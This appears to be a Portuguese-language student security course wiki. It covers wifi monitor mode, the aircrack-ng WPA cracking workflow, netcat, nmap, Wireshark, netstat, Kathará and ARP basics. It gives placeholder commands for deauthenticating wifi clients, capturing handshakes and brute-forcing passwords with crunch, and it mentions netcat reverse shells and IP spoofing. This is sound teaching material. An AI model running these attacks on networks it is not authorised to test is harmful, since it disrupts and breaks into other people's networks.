    link/none 
3: enp0s31f6: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
    link/ether 00:2c:37:a4:88:02 brd ff:ff:ff:ff:ff:ff
4: wlp0s20f3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether f9:e4:e3:e3:a5:ce brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.6/24 brd 192.168.1.255 scope global dynamic noprefixroute wlp0s20f3
       valid_lft 83560sec preferred_lft 83560sec
    inet6 fe80::e7c:e4bd:fa21:ac21/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
```

Neste caso, a interface de interesse é `wlp0s20f3`. Sabendo disso, já podemos iniciar os testes.

**A partir de agora, você vai ficar sem conexão wi-fi**

Primeiramente é necessário matar os processos que podem interferir no processo de troca para o modo de monitoramento:

```bash
airmon-ng check kill
```

Guarde quais processos foram mostrados como saída do comando, pois precisaremos reativá-los depois.

Agora já é possível trocar para o modo de monitoramento com:

```bash
airmon-ng start wlpXsYfZ
```

Será criada uma nova interface com o mesmo nome da sua original, mas com *mon* adicionado ao fim. A partir deste exemplo, será criada a interface `wlpXsYfZmon`. Agora já é possível verificar se o seu adaptador de rede permite o modo de monitoramento. Isto pode ser feito com:

```bash
airodump-ng wlpXsYfZ
```

Se várias redes wi-fi aparecerem no terminal, seu adaptador de rede permite o modo monitoramento!

Por fim, o último passo é verificar se o adaptador permite a injeção de pacotes. Para isso, execute:

```bash
aireplay-ng --test wlpXsYfZ
```

A saída desse comando vai indicar o sucesso ou fracasso da injeção de pacotes.

Pronto, se você passou por todos esses passos e foi bem-sucedido, será possível executar o ataque de desautenticação.

### Recuperando a conexão wi-fi

Para recuperar a conexão wi-fi, precisamos sair do modo monitoramento e reativar os processos que foram mortos. O primeiro passo é:

```bash
airmon-ng stop wlpXsYfZ
```

Para sistemas baseados em Debian (pode funcionar para outros também - se você usa uma distro que necessita de uma solução diferente, faça um MR para colocar ela nesse tutorial :-), execute os comandos abaixo.

```bash
systemctl restart wpa_supplicant
systemctl restart NetworkManager
```


# Ferramentas


# Resumo das Ferramentas

## Introdução

Nessa aula iremos introduzir algumas ferramentas importantes usadas para explorar redes e portas, IPs, fazer conexões, mapear pacotes de dados em tráfego, etc.

## Netcat

Um dos softwares mais utilizados para testes de invasão, é um utilitário UNIX capaz de ler e gravar dados através de conexões de rede, utilizando protocolos TCP/UDP.

**TODO**: netcat relação cliente/servidor (deixar claro a parte do servidor)

#### Utilidades do NetCat:

* Estabelecer conexões UDP e TCP
* Transferencia de dados
* Reverse shells

#### Comandos básicos:

* **nc -help**: vai printar uma lista comandos possíveis.
* **nc \[options] \[host] \[porta]**: executa um port scanning padrão.
  * nc -zv \[host] 80: escaneia uma porta
  * nc -zv \[host] 80 443: escaneia diversas portas
  * nc -zv \[host] 80-443: escaneia um conjunto de portas
* **nc -l \[host] \[porta]**: inicia uma escuta na porta referida.
* **nc \[host] \[porta] > file\_name.out**: envia um arquivo.
* **nc \[host] \[porta] < file\_name.in**: recebe um arquivo.

#### Flags importantes:

* **nc -4**: usa IPv4 somente.
* **nc -6**: usa IPv6.
* **nc -u**: usa UDP ao invés de TCP.
* **nc -k -l**: continua a ouvir na porta mesmo após desconectado.
* **nc -n**: pula procura pelo DNS (Domain Name System).
* **nc -v**: verbose.
* **nc -z**: reporta se as portas estão abertas para conexão ao invés de

  conectar diretamente.

## Nmap

É um software livre de Port Scanning que utiliza de pacotes IP para identificar todos os aparelhos conectados a uma rede e assim coletar informações sobre os serviços e sistemas operacionais rodando.

Usos comuns:

* Encontrar IPs das máquinas da rede
* Encontrar portas abertas em um IP
* Identificar sistemas operacionais
* Identifica qual programa está rodando em qual porta (e a versão também)

**Instalação**: <https://nmap.org/download.html>

#### Comandos Básicos:

* **nmap -sp 192.168.1.1/24**: Ping scan - escaneia todos os dipositivos

  conectados na sua rede local
* **nmap** : escaneia um host para as portas mais conhecidas

**Opções de flags:** <https://nmap.org/man/pt_BR/man-briefoptions.html>

## Wireshark

Software gratuito e open-source de análise de pacotes. A utilidade do Wireshark consiste em captar o tráfego de dados numa rede local, capturando pacotes de dados para serem analisados.

**Download**: <https://www.wireshark.org/download.html>

![](https://i.imgur.com/cGKrc8Z.png)

* **No.**: Número da ordem que o pacote foi capturado. Nesse caso, a linha

  significa que tal pacote faz parte de uma conversa.
* **Time**: Mostra o tempo que o pacote foi capturado após você começar a

  capturar pacotes.
* **Source**: Enredeço que enviou o pacote.
* **Destination**: IP de destino do pacote.
* **Protocol**: Tipo de pacote trafegando na rede, por exemplo, TCP, DNS,

  DHCPv6, or ARP.
* **Length**: Tamanho do pacote em bytes.
* **Info**: Coluna que mostra informações adicionais sobre o conteúdo do

  pacote, o qual varia dependendo do tipo de pacote.

## Bibliografia

### NetCat

* <https://www.varonis.com/blog/netcat-commands/>
* <https://en.wikipedia.org/wiki/Netcat>
* <https://www.4security.com.br/o-poderoso-netcat/>
* <https://nmap.org/ncat/>

### Nmap

* <https://nmap.org/>
* <https://www.varonis.com/blog/nmap-commands/>
* <https://www.freecodecamp.org/news/what-is-nmap-and-how-to-use-it-a-tutorial-for-the-greatest-scanning-tool-of-all-time/>
* <https://pt.wikipedia.org/wiki/Nmap>
* <https://github.com/nmap/nmap>

### Wireshark

* <https://www.varonis.com/blog/how-to-use-wireshark/>
* <https://www.wireshark.org/>
* <https://en.wikipedia.org/wiki/Wireshark>


# Suíte Aircrack

![Aircrack-ng](https://www.aircrack-ng.org/~~V:/lib/exe/fetch.php?w=600\&h=300\&tok=6a4d47\&media=http%3A%2F%2Fwww.aircrack-ng.org%2Fimg%2Faircrack-ng.explaination.gif)

Agora que já sabemos como funciona a teoria, para aplicar o WPA Attack utilizaremos o pacote de ferramentas [aircrack-ng](https://www.aircrack-ng.org/doku.php?id=Main), o qual pode ser instalado com:

```
sudo apt-get install -y aircrack-ng
```

**Observação:** Caso possua possua uma distro não debian-based, você pode instalar diretamente fonte seguindo essas [instruções](https://www.aircrack-ng.org/doku.phpid=installaircrack#compilingandinstalling).

## Escolhendo a interface de monitoramento

Antes de começar o ataque em si, precisamos descobrir qual interface de rede utilizaremos para monitorar os pacotes em circulação:

```
iwconfig
```

## Airmon

Depois, utilizando o `airmon-ng` podemos ergue-la em modo monitoramento:

```
airmon-ng check kill && sudo airmon-ng start <INTERFACE>
```

*Vale ressaltar que assim que realizarmos esse passo, seu acesso à internet será cortado. Mas não se desespere! Se você seguir esse tutorial até o final,* [*reestabeleceremos sua conexão*](/redes/ferramentas/aircrack_suite#restore_net)*.Além disso, o nome de sua interface será acrescido do sufixo 'mon'.*

## Airodump

Agora, podemos listar todos os wifis/pontos de acesso por meio dos pacotes que chegam até a interface:

```
sudo airodump-ng <INTERFACE>
```

Assim que o wifi que se deseja crackear aparecer na lista, podemos dar `Ctrl+C` para parar o airodump e salvar seu `BSSID` e `CHANNEL`. Em seguida, podemos inspecionar com mais precisão todos os pacotes que circulam por ele com:

```
sudo airodump-ng -w <OUTFILE> -c <CHANNEL> -bssid <BSSID> <INTERFACE>
```

## Aireplay

Simultaneamente em outro terminal, podemos executar um deauthentication attack em alguns dos clientes da rede dado seu `STATION_NUMBER`:

```
sudo aireplay-ng --deauth <TIMES> -a <BSSID> -c <CLIENT_STATION_NUMEBR> <INTERFACE>
```

## Aircrack

Por fim, agora que temos os handshakes, podemos usar o `aircrack-ng` para conseguir a senha de acesso utilizando alguma `WORDLIST`:

```
aircrack-ng <HANDSHAKE_FILE> -w <WORDLIST> -l <OUTFILE>
```

## Crunch

Caso não queira usar um dicionário, podemos brutar todas as possibilidades de senhas utilizando o `crunch`

Primeiramente, para instalá-lo:

```
sudo apt-get install crunch
```

Agora, utilizando o aircrack em pipeline:

```
crunch <MIN> <MAX> <CHARSET> | aircrack-ng -b <BSSID> -w - <HANDSHAKE_FILE> -l <OUTFILE>
```

## [Restaurando sua conexão](/redes/ferramentas/aircrack_suite) <a href="#restore_net" id="restore_net"></a>

Para que sua internet volte a funcionar, temos que erguer a interface em modo normal e parar o monitoramento de pacotes:

```
sudo airmon-ng start <NORMAL_INTERFACE>
```

```
sudo airmon-ng stop <MON_INTERFACE>
```

```
ifconfig <NORMAL_INTERFACE> up
```

```
sudo service network-manager restart
```

*`NORMAL_INTERFACE` diz respeito ao nome da interface sem o sufixo 'mon'*

**Observação:** Existe mais de uma possibilidade para network manager, então o último comando pode variar de acordo com a distro instalada\*


# Wireshark

![The network protocol analyzer](https://www.sololinux.es/wp-content/uploads/2014/07/Logo-de-Wireshark.png)

Estamos sempre falando dos protocolos e camadas de rede, mas os vimos somente na teoria, ou com algumas ferramentas que não mostram o que ocorre por baixo dos panos. O [wireshark](https://www.wireshark.org/) é uma ferramenta que permite analisar os protocolos e dados trafegando, por exemplo, entre seu computador e a internet.

## Instalação

Geralmente o wireshark não vem instalado no sistema operacional por padrão - exceções são distribuições GNU/Linux voltadas para segurança da informação como o Kali. Portanto, se você quiser utilizar a ferramenta, terá que instalá-la no seu computador.

Na maioria das distribuições, o programa está nos repositórios padrões, então basta utilizar o gerenciador de pacotes da sua distro para instalar. Vocês também podem olhar o [guia oficial de instalação do wireshark](https://www.wireshark.org/download.html), o [guia do usuário no capítulo de instalação](https://www.wireshark.org/docs/wsug_html_chunked/ChapterBuildInstall.html), ou perguntarem no grupo de Telegram do Ping se tiverem mais dúvidas.

### Debian/Ubuntu

Aqui é o exemplo de instalação no Debian (execute o comando como superusuário - root):

```
# apt install wireshark
```

No caso do Ubuntu, temos que utilizar o `sudo`:

```
$ sudo apt install wireshark
```

## Funcionamento Básico

Para ver as informações que estão saindo do seu computador, basta iniciaro wireshark e selecionar de qual interface de rede capturará as informações. Essa \[a interface de rede] é a porta de saída para os programas enviarem informações para a rede, ela pode ser cabeada (normalmente chamada de `eth0` ou `enp3s0`), ou wireless (então é `wlan0` ou `wlp3s0`), mas cada SO pode atribuir um nome específico. Para checar as interfaces, digite o seguinte comando:

```
ip address show
```

Depois de selecionar a interface da qual capturará as informações, você deve iniciar a captura clicando no botão mostrado abaixo ("Start"), ou utilizando o atalho de teclado *Ctrl+E*. A partir de agora você estará gravando todos os pacotes trafegando entre a rede e o computador por a interface definida anteriormente. Se você apertar *Ctrl+E* novamente, ou clicar no botão de parada ("Stop"), a captura será encerrada e todos os pacotes capturados permanecerão na tela.

![](https://www.wireshark.org/docs/wsug_html_chunked/wsug_graphics/ws-capture-menu.png)

Agora que todos os pacotes estão na tela, você pode querer analisá-los, ou deixar para um outro momento. Caso opte pela segunda opção, poderá salvar os pacotes capturados como um arquivo com formato *pcap*. Esse é um ponto importante porque também é possível inicializar o wireshark lendo diretamente um arquivo *pcap*, isto também pode ser feito do terminal executando o seguinte comando:

```
wireshark file.pcap
```

## Lendo pacotes

Agora que já capturamos alguns pacotes, está na hora de analisá-los. Vamos ver juntos um exemplo de pacote, no caso, o primeiro pacote enviado quando há uma conexão SSL (faz a criptografia dos dados enviados). Nesse pacote inicial, o cliente envia um "oi" para o servidor dizendo que quer iniciar a conexão.

Nós temos duas opções de visualizações de pacotes, a primeira é a mostrada abaixo. Nela o programa nos mostra as camadas do pacote e os respectivos dados de cada uma de uma maneira bastante organizada e simples. Vemos que este conjunto de dados é um *frame*, o quadro da camada de enlace. Ele engloba os dados e cabeçalhos de todas as outras camadas, mas o wireshark permite ver as informações de cada cabeçalho separadamente. Isto é, podemos ver que temos o protocolo Ethernet com os MAC's de origem e destino, em seguida, o protocolo IP com os ip's de origem e destino, então o protocolo TCP com as portas de origem e destino e algumas outras informações do protocolo e finalmente o protocolo TLS que envia o `"Client Hello"`.

![](https://jvns.ca/images/wireshark_packet_details_list.png)

A segunda maneira de visualizar os dados é mostrando os bytes crus. Temos acesso aos bytes de dados enviados ao lado esquerdo e aos valores decodificados para caracteres à direita. Então é possível passar o mouse sobre os caracteres e o wireshark indica os bytes correspondentes e vice-versa, e ainda indica a qual campo o dado pertence. No exemplo abaixo, `tiles.services.mozilla.com` corresponde ao campo "Server Name".

![](https://jvns.ca/images/wireshark_packet_details.png)

## Seguindo uma única conexão

Muitas vezes aparecem dados de diversas conexões TCP, mas estamos querendo ver somente uma. Para isso, o wireshark fornece uma forma simples de acompanhar uma conexão específica, basta clicar com o botão direito no pacote e selecionar "Conversation filter" -> "TCP".

![](https://jvns.ca/images/wireshark_filter.png)

## Aplicando filtros

O wireshark também permite que você utilize filtros para especificar aspectos dos pacotes mostrados. Alguns exemplos são mostrados abaixo, mas existem muitos outros que vocÊ aprenderá conforme for utilizando o wireshark.

* `frame contains "mozilla"`: filtra por pacotes que contenham a string "mozilla";
* `tcp.port == 443`: filtra por pacotes cuja porta de destino é a 443 (https);
* `dns.resp.len > 0`: mostra todas as respostas DNS;
* `ip.addr == 192.168.15.1`: mostra todos os pacotes com *ip* de origem ou destino igual a `192.168.15.1`.

## Links extras

* [Página oficidial do wireshark](https://www.wireshark.org/)
* [Guia do usuário oficial em PDF](https://www.wireshark.org/download/docs/user-guide.pdf)
* [FAQ oficial](https://www.wireshark.org/faq.html)
* [Publicação em que este tutorial foi baseado](https://jvns.ca/blog/2018/06/19/what-i-use-wireshark-for/)&#x20;


# Netcat

![](https://i.imgur.com/JVCnnF0.png)

> The Swiss army knife of hacking tools

Se você é responsável pela segurança de uma rede ou de um sistema, é essencial que você saiba utilizar os recursos que o Netcat proporciona. O Netcat é um ferramenta simples (mas poderosa) que lê e envia dados através de conexões de rede, usando o protocolo TCP ou UDP.\
\
&#x20;Ele foi projetado para ser uma ferramenta de "back-end" compacta que pode ser usada direta e facilmente por outros programas e scripts. Ao mesmo tempo, é uma ferramenta de exploração de redes com muitas funcionabilidades, pois pode criar praticamente qualquer tipo de conexão necessária e possui vários recursos internos interessantes.

## Funcionamento básico

O uso mais simples (e mais frequente) do netcat cria uma conexão TCP com a porta especificada no host de destino também especificado. Sua entrada padrão (STDIN) é então enviada ao host e tudo o que retorna através da conexão é enviado à sua saída padrão (STDOUT). Isso continua indefinidamente, até que a conexão seja desligada.

`$ nc <ip alvo> <porta>`

Conecta-se em uma porta arbitrária no ip alvo.

O Netcat também pode funcionar como um servidor, escutando possíveis conexões em portas arbitrárias e, em seguida, fazendo a mesma leitura e escrita descrita acima.

`$ nc -l -p <porta local>`

Cria um ouvinte na porta local.

## Algumas flags de comando

`-l` : Coloca no netcat em estado de escuta (listening)

`-p` : Especifica a porta a ser usada (sujeito a disponibilidade e a restrições de privilégio)

`-u` : Usar UDP ao invés de TCP

`-n` : Força o netcat a usar apenas endereços de IP numéricos, sem fazer consultas a servidores DNS

`-e` : Especifica o programa a ser executado depois de a conexão acontecer, ligando entradas e saídas ao programa

`-s` : Especifica o endereço IP da interface usada para enviar os pacotes. Pode ser usado para spoofing de IPs.

`-v` : Controla o nível de mensagens mostradas na tela

`-w` : Limita o tempo máximo para que uma conexão seja estabelecida

## Enviar arquivo do cliente para o ouvinte

`$ nc -l -p <porta local> > <arquivo de saida>`

Ouve na porta porta local e armazena resultado no arquivo de saida.

`$ nc -w3 <ip alvo> <porta> < <arquivo de entrada>`

Envia o arquivo de entrada para o ip alvo em uma porta.

## Receber arquivo do ouvinte para o cliente

`$ nc -l -p <porta local> > <arquivo de entrada>`

Ouve em uma porta local e prepara para enviar o arquivo de entrada.

`$ nc -w3 <ip alvo> <porta> > <arquivo de saida>`

Conecta com o ip alvo em uma porta e envia o arquivo de saída.


# Nmap

![](https://i.imgur.com/VmXeG64.png)

> The Network Mapper

Você já logou numa rede que não era a sua (ou a sua mesmo) e queria saber quais os dispositivos ligados naquela rede? Ou melhor, qual o IP do access point ao qual você está conectado? Quais as portas abertas naquele servidor safado que você tá tentando invadir. Nmap is here for you.

## Comandos básicos

### Host Discovery

Vamos começar com um básico, descobrir todos os IPs dos dispositivos conectados à rede local (supondo que você sabe o endereço da rede e a máscara de subrede):

```
# nmap <ip da rede>/<máscara> -sn
nmap 192.168.15.0/24 -sn
```

### Scan Básico

Beleza, agora você já sabe quem são todos os hosts na sua rede. Digamos que a Merindrola, seu alvo, está no `192.168.15.40`. Mas o que está rodando na máquina dela? O que podemos tentar atacar? Para isso podemos usar um *port scanning*:

```
# nmap <ip do alvo>
nmap 192.168.15.40
```

Isso vai nos dar informações básicas sobre as portas mais importantes

### Scan em mais portas

O scan básico que fizemos anteriormente vai focar em portas famosas, ou *well-known ports*. Mas e se a Merindrola foi sapeca e "escondeu" seus serviços em portas bizarras (por exemplo a HTTP na 7890 ao invés da 80)? Nmap neles:

```
# nmap <ip do alvo> -p [<portas>, <range de portas>]
nmap 192.168.15.40 -p 7890 # scan na porta 7890 (como o protocolo não foi especificado, vai ser na TCP)
nmap 192.168.15.40 -p 2000-8000 # scan nas portas 2000 até 8000
nmap 192.168.15.40 -p- # scan em TODAS as portas
```

### Serviços e Versões

Beleza, agora sabemos o IP da Merindrola e as portas abertas na máquina dela. Mas o que tem atrás dessas portas? O nmap geralmente por padrão tenta mandar uma série de pacotes especiais que, de acordo com a resposta da aplicação, ele consegue adivinhar qual é o serviço rodando numa porta. Mas para economizar tempo, o nmap não tenta todas as possibilidades de payload em todas as portas (até porque isso nunca acabaria rs).

Digamos que nós encontramos um servidor web rodando na porta 80 da Merindrola. O nmap tem payloads que nos permitem adivinhar qual exatamente é o servidor web (apache, nginx, etc.):

```
# nmap <ip do alvo> -sC
nmap 192.168.15.40 -sC
```

...e até a versão dele:

```
# nmap <ip do alvo> -sV
nmap 192.168.15.40 -sV
```

Melhor já ir direto nos dois!

```
# nmap <ip do alvo> -sC -sV
nmap 192.168.15.40 -sC -sV
```

## Dicas e Hacks

Geralmente a saída do nmap é grande e você provavelmente quer salvá-la. Usar o redirecionador `>` para um arquivo é geralmente uma boa ideia:

```
nmap 192.168.15.40 > nmap.txt
```

Mas olhar a saída do nmap enquanto ele faz o scan é ainda mais legal. Você pode fazer as duas coisas ao mesmo tempo usando o comando `tee`:

```
tee nmap.txt nmap 192.168.15.40
# ou, outra forma de fazer a mesma coisa
nmap 192.168.15.40 | tee nmap.txt
```

## NSE: Nmap Scripting Engine

Talvez você encontre um desses aqui pela internet, mas quando você for um verdadeiro mago do nmap, você vai ser capaz de *fazer* os seus e nunca mais depender de ninguém muahahaha.

```
# nmap --script=<nome do script> <ip do alvo>
nmap --script=my-evil-script.nse 192.168.15.40

# ou

# nmap --script <nome do script> <ip do alvo>
nmap --script my-evil-script.nse 192.168.15.40
```

O nmap possibilita que seus usuários criem scripts para automatizar tarefas mais específicas e complexas. Esses scripts são códigos mesmo, que você escreve na linguagem Lua e o nmap roda eles. Sabe quando a gente mandou o nmap fazer umas bruxarias mais complexas mais cedo para descobrir o tipo do servidor web e a sua versão? Adivinha? Ele nada mais fez do que rodar alguns desses scripts que são bem conhecidos e vêm instalados:

Em pentests e em máquinas do Hack The Box, situações em que você precisa ser bem preciso no seu trabalho de reconhecimento, talvez valha à pena procurar na internet por scripts customizados e mais específicos. Todo trabalho de invasão começa com um bom reconhecimento ;)

## Links Úteis

* [Nmap Reference Guide](https://nmap.org/book/man.html)
* [StationX Cheatsheet](https://www.stationx.net/nmap-cheat-sheet/)
* [NSE Guide](https://nmap.org/book/man-nse.html)


# Netstat

![](https://i.imgur.com/MHpXCfP.png)

> The Network statistics tool

Netstat (Network Statistics) é uma ferramenta utilizada para monitorar redes e, como o próprio nome diz, gerar estatísticas.

Algumas informacoes que conseguimos obter com o netstat são, por exemplo, quais portas de comunicacão TCP e UDP estão abertas na nossa maquina e quais os programas ouvindo nessas portas.

## Funcionamento básico

`$ netstat -a` Lista todas as conexões e portas abertas.

`$ netstat -at` Aplica um filtro (-t) no comando anterior, listando apenas as portas TCP.

`$ netstat -au` Aplica um filtro (-u) , listando apenas as portas UDP.

`$ netstat -atp` Com o acréssimo do p mostra também o programa que está sendo executado em cada porta.

## Gerando Estatísticas sobre a rede

`$ netstat -i` Para obter informações de uso das interfaces de rede.

`$ netstat -ie` Para detalhar ainda mais as informações mostradas

`$ netstat -s` Para obter estatísticas resumidas de cada um dos protocolos de rede (por exemplo, TCP, UDP, ICMP).

`$ netstat -rn` Para visualizar a tabela de routing da máquina.


# Kathará

O [Kathará](https://www.kathara.org) é uma ferramenta que permite a simulação de redes, máquinas e topologias inteiras através do docker. Ele é o sucessor do [netkit](https://www.netkit.org) e permite que os laboratórios do netkit sejam utilizados pelo kathará, somente em alguns casos específicos é necessário adaptação.

## Instalação

### Debian e derivados

Para instalação no Debian, Ubuntu, Linux Mint, PopOS, Kali, etc, basta seguir o [tutorial](https://github.com/KatharaFramework/Kathara/wiki/Linux) disponível na [wiki do kathara](https://github.com/KatharaFramework/Kathara/wiki). Basicamente será necessário instalar o `docker` e adicionar o repositório (PPA) do kathará. Ambas as instalações podem ser feitas pelo `apt`.

### Arch e derivados

Para instalar no Arch e Manjaro, é necessário satisfazer as dependências do kathará e baixar o arquivo *zip* do [repositório no github](https://github.com/KatharaFramework/Kathara).

As dependências principais são python 3, normalmente já instalado por padrão, e o docker, que deve ser instalado com o `pacman`. A instalação do docker é feita por:

```
sudo pacman -S docker
```

E a checagem do Python 3 pode ser feita por:

```
python3 --version
```

Se ele estiver instalado, irá imprimir na tela a versão.

Em seguida, você deve baixar o zip do [repositório](https://github.com/KatharaFramework/Kathara) e, estando no mesmo diretório do arquivo zip, descompactá-lo com:

```
unzip Kathara-master.zip
```

Agora teremos que instalar as bibliotecas Python utilizadas. Vá para o diretório com o código e digite:

```
sudo python -m pip install -r src/requirements.txt
```

Em seguida, você já poderá usar o kathará. Para testar a instalação, pode usar o seguinte comando:

```
sudo python src/kathara.py check
```

E ele checará se consegue rodar um exemplo, pode demorar alguns minutos a depender de sua conexão.

Se ele apresentar erro, pode ser que seja necessário habilitar e iniciar o serviço responsável por iniciar o docker, para isso:

```
sudo systemctl enable docker.service
sudo systemctl start docker.service
```

Então execute o teste do kathará novamente.


# Pacote & Protocolo

## Introdução

Para explicarmos como funciona a transmissão de dados entre computadores, precisamos saber o que são **pacotes** e **protocolos**, conceitos fundamentais para compreender a lógica por trás da comunicação entre computadores, os quais serão explicados por analogia a uma carta.

## Protocolo

Analogamente, quando queremos escrever uma carta, o primeiro passo para isso é definir como o conteúdo da carta vai ser transmitido e como deve ser lido. Isso seria a língua, paragrafação, endereçamento, informações necessárias para compreender o conteúdo da carta.

Dessa maneira podemos definir protocolos como:

> Conjunto de normas de comunicação entre dois computadores

Além de ditar como um pacote deve ser interpretado, o protocolo vai muito além disso, ele pode ditar como um pacote deve ser recebido, que tipo de pacote deve ser esperado em determinada ocasião, como rearranjar os pacotes caso cheguem fora de ordem, etc. De maneira geral, é dele que surgem as soluções para problemas de comunicação em uma rede.

No exemplo abaixo, mostramos como um protocolo descreve um pacote de dados. Cada conjunto de bits do pacote representa alguma informação para compreender aquilo que está sendo transmitido.

![Imagem mostrando como seria a estrutura simples de um pacote](https://i.imgur.com/8NAiV0T.png)

## Pacote

Quando queremos transmitir uma informação através de uma rede, o que acontece é que temos que dividir essa informação em diversos fragmentos para que seja possível transmitir esses dados, pois existe um limite de dados que pode percorrer uma rede. Dessa forma, podemos definir pacote como:

> Unidade básica de informação em uma rede

![](https://i.imgur.com/X39WHVB.png)

A estrutura de um pacote é definida pelo tipo de pacote e pelo protocolo. Geralmente um pacote tem um cabeçalho e uma carga útil. O cabeçalho mantém informações gerais sobre o pacote, o serviço e outros dados relacionados à transmissão. Assim, contém diversas informações como a origem e destino do pacote, a numeração do pacote dentro de uma sequência, tipo de serviço, flags, entre outras informações técnicas.

![Exemplo da estrutura do cabeçalho de um pacote IP (Internet Protocol)](https://i.imgur.com/w3OmZ8S.jpg)

> Caso tenha se interessado, veja um vídeo acerca do envio dos dois primeiros pacotes da Internet: <https://www.youtube.com/watch?v=uY7dUJT7OsU>

Aprofundando no conceito de distribuição dos pacotes na rede, há dois conceitos importantes no que tange o envio de pacotes: **encapsulamento** e **comutação**.

### Encapsulamento

Agora que foi introduzido os conceitos básicos de pacotes e protocolos, deve-se olhar para como funciona o envio de dados através da rede como um todo. Toda camada do modelo OSI possui um protocolo que dita as regras de comunicação e de funcionamento para ela. Como um mesmo pacote passa por mais de uma camada, ou seja, mais de um protocolo é aplicado nele, é necessário haver uma forma desse pacote carregar os dados e informações relativas a cada protocolo sem interferir na integridade do resto do pacote. É aí que o conceito de **encapsulamento** aparece.

![Exemplo do trajeto dos pacotes no modelo OSI](https://i.imgur.com/cykFTSK.png)

Para cada protocolo, ele considera o pacote recebido como "data" e aplica um cabeçalho(header) do protocolo em cima do pacote, sem comprometer sua integridade. Na medida que o host receptor vai recebendo os pacotes por cada uma das camadas, o header relativo a ela é interpretado e retirado do pacote. Isso se chama desencapsulamento e é semelhante a uma cebola sendo descascada de cada uma das suas camadas.

![Demonstração do encapsulamento (payroll: carga útil)](https://i.imgur.com/h7uTIt9.png)

### Comutação de Pacotes

Comutação de pacotes se refere a tecnologia de comunicação utilizada no núcleo da rede em redes de computadores. Quando um computador deseja enviar uma informação a outro computador, ele encapsula a informação em vários **pacotes de dados**, encaminhando de roteador em roteador em função do endereço do destino. Nisso, ocorre um compartilhamento de recursos na forma de uma **multiplexação estatística** (os pacotes podem trafegar pela rede ocupando o mesmo espaço), ou seja, os pacotes trafegam pela rede por diversos equipamentos até chegarem ao seu destino, onde serão recolhidos e ordenados.

![Exemplo de Comutação de pacotes](https://i.imgur.com/iXZssAh.jpg)

A comutação de pacotes existe em contraponto à comutação de circuitos onde uma conexão exclusiva é criada para cada comunicação, como por exemplo linha telefônica. Na de pacotes, não há reserva de recursos, mas sim um compartilhamento da estrutura da rede que é trafegada a partir do uso de pacotes endereçados.

## ARP (Address Resolution Protocol)

Na rede de computadores, por exemplo, utilizamos o protocolo IP (Internet Protocol, que vai ser visto numa próxima aula) na camada de rede para fazer o endereçamento dos pacotes que trafegam numa rede, como foi definido no tópico de comutação de pacotes. No entanto, na camada de enlace do modelo OSI, precisamos saber o endereço físico do dispositivo para ser possível se comunicar e interagir com tal dispositivo. A pergunta que se faz é: como conseguir fazer o vínculo entre o endereço IP e o endereço físico, também chamado de **endereço MAC**? É nesse contexto que o ARP (Protocolo de Resolução de Endereços) aparece.

### Funcionamento

Basicamente, para cada dispositivo na rede haverá uma tabela chamada de ARP Cache que conterá as seguintes informações:

* O endereço IP e o endereço MAC de cada dispositivo ouvido na rede;
* O endereço IP e o endereço MAC do próprio dispositivo;

Quando um host A deseja se comunicar com um host B de uma mesma rede local o que acontece?

1. O host A verifica se ele conhece o endereço MAC do host B em sua ARP Cache. Caso consiga, pronto. A comunicação é então encaminhada para a camada física.
2. Caso não tenha uma entrada em sua ARP Cache, ele faz um **ARP Request** em **Broadcast**. Isso significa basicamente que ele perguntará a seguinte pergunta para todos os dispositivos daquela rede ouvirem: **"Qual o endereço MAC do endereço IP {IP address do host B)? Diga ao  endereço MAC {MAC addess do host A) com endereço IP {IP address do host A}"**. Ou seja, ao perguntar o MAC address do host B, o host A informa seu IP address e seu MAC address para toda a rede local.
3. Caso o host B se encontre na rede, ele manda um **ARP Reply** para o host A informando seu MAC address. Lembre-se que o ARP Reply é em **Unicast**, ou seja, a mensagem enviada pelo host B é endereçada especificamente ao host A, logo os outros dispositivos na rede não tem acesso a ela.
4. Agora que o host A sabe o MAC address do host B, ele continua sua comunicação na camada física :)

Uma tecnologia usada para evitar que as ARP Caches fiquem demasiadamente grandes é a **TTL (Time To Live)**. Ela se baseia na ideia de que uma entrada na ARP Cache tem um tempo de validade. Ou seja, se o host A tem uma entrada em sua ARP Cache para o host B em algum momento, ele vai deixar de ter, devido ao TTL e vai ser novamente necessário fazer um ARP Request para reconquistar a entrada do host B.

> O protocolo ARP funciona em cooperação com o protocolo IPv4 e deixa de ser usado no IPv6 onde é substituído pelo protocolo NDP (Neighbor Discovery Protocol).

Basicamente esses são os conceitos básicos em relação a pacotes, protocolos e ARP. Espero que tenham gostado e fiquem atentos para a próxima aula acerca de ARP Spoofing, ataque utilizando esse protocolo.

## Bibliografia

1. <https://www.gta.ufrj.br/grad/silvia/silvia.htm>
2. <https://pt.wikipedia.org/wiki/Pacote>
3. [http://wiki.foz.ifpr.edu.br/wiki/index.php/Comuta%C3%A7%C3%A3o\_de\_pacotes\_x\_Comuta%C3%A7%C3%A3o\_de\_circuitos#:\~:text=Na comuta%C3%A7%C3%A3o de pacotes n%C3%A3o,per%C3%ADodos de sil%C3%AAncio na comunica%C3%A7%C3%A3o](http://wiki.foz.ifpr.edu.br/wiki/index.php/Comuta%C3%A7%C3%A3o_de_pacotes_x_Comuta%C3%A7%C3%A3o_de_circuitos#:~:text=Na%20comuta%C3%A7%C3%A3o%20de%20pacotes%20n%C3%A3o,per%C3%ADodos%20de%20sil%C3%AAncio%20na%20comunica%C3%A7%C3%A3o).
4. [http://www.inf.ufes.br/\~zegonc/material/Redes\_de\_Computadores/O Protocolo ARP.pdf](http://www.inf.ufes.br/~zegonc/material/Redes_de_Computadores/O%20Protocolo%20ARP.pdf)


# Camada de Rede

Nessa camada podemos começar a falar de Internet, pois ela é baseada nas camadas TCP/IP, na verdade, elas são as diretrizes práticas para a implementação da camada de transporte e de rede respectivamente. A camada de rede (a teórica do modelo OSI) é responsável por garantir o envio e roteamento de pacotes entre computadores em redes distintas. Para realizar esse tarefa, ela implementa os seguintes mecanismos:

* Endereçamento lógico e hierárquico
* Roteamento de pacotes
* Interfaces de rede

## Endereçamento lógico

